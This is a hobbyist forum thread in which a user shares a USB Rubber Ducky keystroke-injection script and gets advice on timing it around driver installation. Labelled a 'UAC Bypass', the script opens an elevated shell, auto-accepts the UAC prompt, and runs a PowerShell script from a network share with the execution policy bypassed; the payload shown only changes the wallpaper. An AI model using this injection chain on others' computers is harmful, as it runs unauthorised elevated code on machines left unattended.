Crustymonkey Posted September 21, 2015 Share Posted September 21, 2015 (edited) I have this Ducky Script that I pieced together and it changes the users desktop with powershell. It works well but when I install it into a new computer is starts to Install drivers then say USB is ready. Is their a way around that? REM *** UAC Bypass *** DELAY 2000 WINDOWS r DELAY 200 STRING powershell Start-Process cmd.exe -Verb runAs ENTER DELAY 500 ALT y DELAY 500 STRING powershell -ExecutionPolicy ByPass -noprofile -noninteractive -command "& {\\server\shared\wallpaper.ps1}" ENTER DELAY 200 STRING exit ENTER POWERSHELL SCRIPT Add-Type @" using System; using System.Runtime.InteropServices; using Microsoft.Win32; namespace Wallpaper { public enum Style : int { Tile, Center, Stretch, NoChange } public class Setter { public const int SetDesktopWallpaper = 20; public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02; [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni); public static void SetWallpaper ( string path, Wallpaper.Style style ) { SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange ); RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true); switch( style ) { case Style.Stretch : key.SetValue(@"WallpaperStyle", "2") ; key.SetValue(@"TileWallpaper", "0") ; break; case Style.Center : key.SetValue(@"WallpaperStyle", "1") ; key.SetValue(@"TileWallpaper", "0") ; break; case Style.Tile : key.SetValue(@"WallpaperStyle", "1") ; key.SetValue(@"TileWallpaper", "1") ; break; case Style.NoChange : break; } key.Close(); } } } "@ [Wallpaper.Setter]::SetWallpaper( '\\server\shared\quacked.bmp', 2 ) Edited September 22, 2015 by Crustymonkey Quote Link to comment Share on other sites More sharing options...
Crustymonkey Posted September 22, 2015 Author Share Posted September 22, 2015 Nothing? Quote Link to comment Share on other sites More sharing options...
White Light Posted September 22, 2015 Share Posted September 22, 2015 (Might be best to be patient with replies. This is a pretty quiet board.) I've noticed that a longer initial delay helps with the driver issue. Usually about 4s does the trick, though it depends on the speed of the computer. It seems to me that if it tries to type while the drivers are still installing, it just skips it and will keep typing the rest of your script until that happens. Other than that, why not just plug it in again after the driver has installed? Quote Link to comment Share on other sites More sharing options...
Crustymonkey Posted September 22, 2015 Author Share Posted September 22, 2015 (Might be best to be patient with replies. This is a pretty quiet board.) - I will keep that in mind. Thanks 've noticed that a longer initial delay helps with the driver issue. Usually about 4s does the trick, though it depends on the speed of the computer. It seems to me that if it tries to type while the drivers are still installing, it just skips it and will keep typing the rest of your script until that happens. Other than that, why not just plug it in again after the driver has installed? I will try a longer delay.... Thank you for your reply Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.